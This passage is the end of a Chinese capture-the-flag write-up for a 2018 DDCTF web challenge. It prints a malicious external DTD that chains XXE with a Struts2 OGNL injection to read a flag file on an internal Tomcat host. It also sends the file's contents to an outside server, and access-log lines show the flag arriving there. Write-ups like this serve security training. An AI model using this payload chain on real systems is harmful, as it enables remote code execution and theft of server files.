<!ENTITY % file SYSTEM "http://tomcat_2:8080/hello.action?redirect:%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23w%3Dnew%20java.io.File(%22%2Fflag%2Fflag.txt%22)%2C%23a%3Dnew%20java.io.FileInputStream(%23w)%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B60%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://111.222.333.444/?%file;'>">
%all; 

最终从访问日志中获得 flag:

116.85.48.104 - - [20/Apr/2018:22:24:30 +0800] "GET /stwo.dtd HTTP/1.1" 200 1067 "-" "Java/1.8.0_151" 116.85.48.104 - - [20/Apr/2018:22:24:31 +0800] "GET /?DDCTF{You_Got_it_WonDe2fUl_Man_ha2333_CQjXiolS2jqUbYIbtrOb} HTTP/1.1" 404 496 "-" "Java/1.8.0_151"
本次WEB篇的writeup到此结束啦~附上比赛平台链接:http://ddctf.didichuxing.com/
原文地址:http://mp.weixin.qq.com/s?__biz=MzA3Mzk1MDk1NA==&mid=2651904642&idx=1&sn=4944d9d400c7c3e3d69c2301c8cb9a62&chksm=84e34907b394c01123e08ad8f1dc9e9e85414e82714fffe516774be56359522fe19763f81b99&mpshare=1&scene=23&srcid=0514bLsyVhV1lOWJawp0qYwb#rd